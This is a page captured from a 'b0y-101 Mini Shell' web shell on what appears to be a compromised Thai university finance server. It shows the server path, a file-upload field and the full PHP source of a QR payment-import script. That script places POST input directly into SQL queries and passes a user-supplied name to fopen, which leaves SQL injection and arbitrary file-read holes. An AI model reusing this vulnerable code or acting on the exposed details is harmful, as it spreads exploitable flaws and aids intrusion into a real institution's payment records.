b0y-101 Mini Shell


Current Path : E:/www/b-group.old/spfin/QRTRAN/reportcp/
File Upload :
Current File : E:/www/b-group.old/spfin/QRTRAN/reportcp/uploadpaycp.php

<?php
session_start();
//if (!isset($_SESSION['admin_login'])) {
  if (!isset($_SESSION['logincp'])) {
		$_SESSION['error'] = 'กรุณาเข้าสู่ระบบ!';
        header('Location: https://spfin.ru.ac.th/admin/login.php');
    }

include("../../conapps/dbcon.php");
$objConnect = mysqli_connect($servername,$username, $password, $dbname);
	// Check connection
if ($objConnect->connect_error) {
  die("Connection failed: " . $objConnect->connect_error);
}

include_once("config/varlogin.php");

$text =$_POST["text"];
/*$fidadreg=$_POST["idadreg"];
$fidproem=$_POST["idproem"];*/

$SQLtxt = "SELECT * FROM tb_qrpaymentcp where qrtextname= '$text'" or die("Error:" . mysqli_error()); 
   $result = $objConnect->query($SQLtxt);
   $row = $result->fetch_assoc();
  // $objQueryqr = $objConnect->query($qrtxtSQL);	
  // $objResultqr = $objQueryqr->fetch_assoc();
//echo $text;

if(!empty($row))   		
        {
	     echo "<script>";
			 echo "alert('บันทึกข้อมูลในระบบแล้ว!');";
			 echo "window.location='https://spfin.ru.ac.th/QRTRAN/reportcp/filepaymentcp.php';";
          	 echo "</script>";
}else{

	//นับจำนวน 
	$countnum = "SELECT  * 
                 FROM tb_qrpaymentcp  
	             WHERE idadreg='".$fidadreg."' and idproject='".$fidproem."' and num='02'"or die("Error:" . mysqli_error());
	//print_r($countnum);
	$cresult1 = mysqli_query($objConnect, $countnum);
    $cnum=mysqli_num_rows($cresult1);
	//print_r($cnum);
	//echo "Error: " .$countnum. "<br>" . $objConnect->error;
	//$count1=$cresult1;
	if($cnum > 0)
		{	$recnum = $cnum +1;
		    
		}else{
			//กรณีเป็นค่าแรก
			$recnum = 1;
		}
		
		$numcp='02';//เล่มที่ใบเสร็จ
		
$receiptnum = sprintf("%'.04d", $recnum);

//$myfile = fopen("BPQR_210906.txt", "r") or die("Unable to open file!");
$myfile = fopen($text, "r") or die("Unable to open file!");
// Output one line until end-of-file
$members = array();
while(!feof($myfile)) {
  //echo fgets($myfile) . "<br>";
	
  $members[] = fgets($myfile);
  //echo "<br>" . substr($members[1],0, 7);
  //echo $members[];	
// $num++	
//	echo $num; 
}
fclose($myfile);
var_dump($members);
echo "<br>" ;
//echo $members[1];
//echo "<br>" . substr($members[1],0, 7);
//echo "<br>" . count($members);
$num = count($members) - 2;

for ($x = 1; $x < $num; $x++) {
  echo "The number is: $x <br>";
 // echo substr($members[$x],0, 7) . "<br>"  ;	
    $recordtypeno = iconv_substr($members[$x],0, 7);
    $payerbank = iconv_substr($members[$x],7,3);
	$merchantaccount = iconv_substr($members[$x],10,10);
	$paymentdate = iconv_substr($members[$x],20,4) . "-" . iconv_substr($members[$x],24,2) . "-" . iconv_substr($members[$x],26,2); 
	$paymentttime = iconv_substr($members[$x],28,2) . ":" . iconv_substr($members[$x],30,2) . ":" . iconv_substr($members[$x],32,2); 
	$payername  = iconv_substr($members[$x],34,50);
	$subbillerid = iconv_substr($members[$x],84,4);
	$ref1 = iconv_substr($members[$x],84,20);
	$ref2 = iconv_substr($members[$x],104,20);
	$qrid = iconv_substr($members[$x],124,20);
	//$ref21 = $ref2;
	//$strlen = strlen($ref21);
	//$codepro = substr($ref2,-2);
	$payerbankcode  = iconv_substr($members[$x],144,4);
	$kindtransaction = iconv_substr($members[$x],152,1);
	$paymentamount = (iconv_substr($members[$x],163,13))/100;
	$paymentamount = number_format($paymentamount, 2, '.', '');
	$idadreg = iconv_substr($members[$x],104,1);
	//$idproject = iconv_substr($members[$x],121,1);
	
	
	$strSQL = "SELECT tbqr.idadreg,tbqr.idproject FROM tb_qrapicp tbqr where tbqr.ref2='".$ref2."'" or die("Error:" . mysqli_error()); 
   //$objQuery = $objConnect->query($strSQL);
   $objQuery = $objConnect->query($strSQL);	
   $objQuery1 = $objConnect->query($strSQL);	
   $objResult1 = $objQuery1->fetch_assoc();
   $idproject =$objResult1["idproject"];
	
	echo $recordtypeno . "<br>";
	echo $payerbank . "<br>";
	echo $merchantaccount . "<br>";
	echo $paymentdate . "<br>";
	echo $paymentttime . "<br>";
	echo $payername . "<br>";
	echo $subbillerid  . "<br>";
	echo $ref1  . "<br>";
	echo $ref2 . "<br>";
	echo $qrid . "<br>";
	//echo $strlen . "<br>";
	//echo $codepro . "<br>";
	echo $payerbankcode . "<br>";
	echo $kindtransaction . "<br>";
	echo $paymentamount . "<br>";
	echo $numcp . "<br>";
	echo $receiptnum . "<br>";
	echo $idadreg . "<br>";
	echo $idproject . "<br>";	
	
	$sql = "INSERT INTO tb_qrpaymentcp (recordtypeno, payerbank, merchantaccount, paymentdate, paymentttime, payername, subbillerid, ref1,ref2, payerbankcode, kindtransaction, paymentamount,num,receiptnum,qrtextname,qrid,idadreg, idproject) VALUES('$recordtypeno','$payerbank','$merchantaccount','$paymentdate','$paymentttime','$payername','$subbillerid','$ref1','$ref2','$payerbankcode','$kindtransaction','$paymentamount','$numcp','$receiptnum','$text','$qrid',' $idadreg','$idproject')";
	
	
	
	$sqlup = "UPDATE tb_qrapicp tbqr SET tbqr.status = 'Successful', tbqr.statuspay = 'ชำระเงินแล้ว', tbqr.qrtextname = '$text' ,
	          tbqr.num = '$numcp',tbqr.receiptnum ='$receiptnum'
		      WHERE tbqr.ref3 = '".$ref1."' and tbqr.statuspay='ชำระเงินแล้ว (รอการยืนยัน ม.ราม)'" ;
	
	$objConnect->query($sqlup);

	

if ($objConnect->query($sql) === TRUE) {
  echo "New record created successfully";
} else {
  echo "Error: " . $sql . "<br>" . $objConnect->error;
}
	
	$recnum++;
    $receiptnum = sprintf("%'.04d", $recnum);
	
}
}

$objConnect->close();
?>

Copyright © 2019 by b0y-101